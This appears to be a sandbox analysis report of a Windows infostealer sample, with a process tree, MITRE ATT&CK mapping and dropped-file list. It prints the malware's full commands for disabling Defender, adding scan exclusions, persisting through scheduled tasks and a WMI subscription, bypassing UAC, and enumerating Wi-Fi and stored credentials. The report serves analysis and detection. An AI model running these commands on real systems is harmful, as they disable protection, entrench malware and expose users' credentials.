C:\Windows\system32\schtasks.exeschtasks /create /tn SystemHealthMonitor /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc minute /mo 5 /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateCore /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc onstart /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ Name='WindowsUpdateFilter'; EventName='__InstanceCreationEvent'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{ Name='WindowsUpdateConsumer'; CommandLineTemplate='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe'; } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer} "3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\fodhelper.exefodhelper.exe3⤵
-
-
C:\Windows\system32\computerdefaults.execomputerdefaults.exe3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemUpdate /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc once /st 00:00 /rl highest /f /ru SYSTEM3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exeC:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exeC:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Creates a file in the Startup directory
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableNetworkProtection Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmdkey /list"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmdkey.execmdkey /list4⤵
-
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsDefenderHealth /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemHealthMonitor /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc minute /mo 5 /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateCore /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onstart /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ Name='WindowsUpdateFilter'; EventName='__InstanceCreationEvent'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{ Name='WindowsUpdateConsumer'; CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'; } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer} "3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\fodhelper.exefodhelper.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe"5⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Creates a file in the Startup directory
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Modifies registry class
- outlook_office_path
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"6⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"6⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"6⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"6⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"6⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"6⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableNetworkProtection Disabled"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"6⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled6⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"6⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles7⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmdkey /list"6⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmdkey.execmdkey /list7⤵
-
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsDefenderHealth /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc onlogon /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemHealthMonitor /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc minute /mo 5 /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateCore /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc onstart /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ Name='WindowsUpdateFilter'; EventName='__InstanceCreationEvent'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{ Name='WindowsUpdateConsumer'; CommandLineTemplate='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe'; } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer} "6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\fodhelper.exefodhelper.exe6⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe"7⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"8⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"8⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate9⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"8⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"8⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
-
C:\Windows\system32\computerdefaults.execomputerdefaults.exe6⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemUpdate /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc once /st 00:00 /rl highest /f /ru SYSTEM6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Windows\system32\computerdefaults.execomputerdefaults.exe3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemUpdate /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc once /st 00:00 /rl highest /f /ru SYSTEM3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
3Windows Service
3Event Triggered Execution
2AppInit DLLs
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
3Windows Service
3Event Triggered Execution
2AppInit DLLs
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
evil_kai_test.tmp
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
_SHA224.pyd
81d243bd2c585b0f4821__mypyc.cp310-win_amd64.pyd
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-multibyte-l1-1-0.dll
api-ms-win-crt-private-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-1_1.dll
libffi-7.dll
libssl-1_1.dll
pyexpat.pyd
python3.DLL
python310.dll
select.pyd
ucrtbase.dll
INSTALLER
__PSScriptPolicyTest_yu1j2uta.jqp.ps1
cc_1672.db
cc_8065.db
ff_5563.db
hi_3061.db
hi_7952.db
ld_4075.db
ld_7909.db
n1ekah62
sess_2065.db
sess_9570.db
memory/392-1245-0x0000027ED5960000-0x0000027ED59A8000-memory.dmp
memory/440-1225-0x0000023CEFC30000-0x0000023CEFC78000-memory.dmp
memory/884-1595-0x000001AB787C0000-0x000001AB787DE000-memory.dmp
memory/884-1594-0x000001AB787A0000-0x000001AB787B9000-memory.dmp
memory/2292-265-0x00000284FD520000-0x00000284FD542000-memory.dmp
memory/2648-1553-0x000002D7C5830000-0x000002D7C584E000-memory.dmp
memory/2648-1552-0x000002D7AD270000-0x000002D7AD289000-memory.dmp
memory/4092-907-0x000001CC72A80000-0x000001CC72C9C000-memory.dmp
memory/4128-1234-0x0000016BB0A30000-0x0000016BB0A78000-memory.dmp
memory/4380-1543-0x0000027E77780000-0x0000027E7779E000-memory.dmp
memory/4380-1542-0x0000027E77760000-0x0000027E77779000-memory.dmp
memory/5188-909-0x00000163F20D0000-0x00000163F22EC000-memory.dmp
memory/5324-906-0x0000024E5C660000-0x0000024E5C87C000-memory.dmp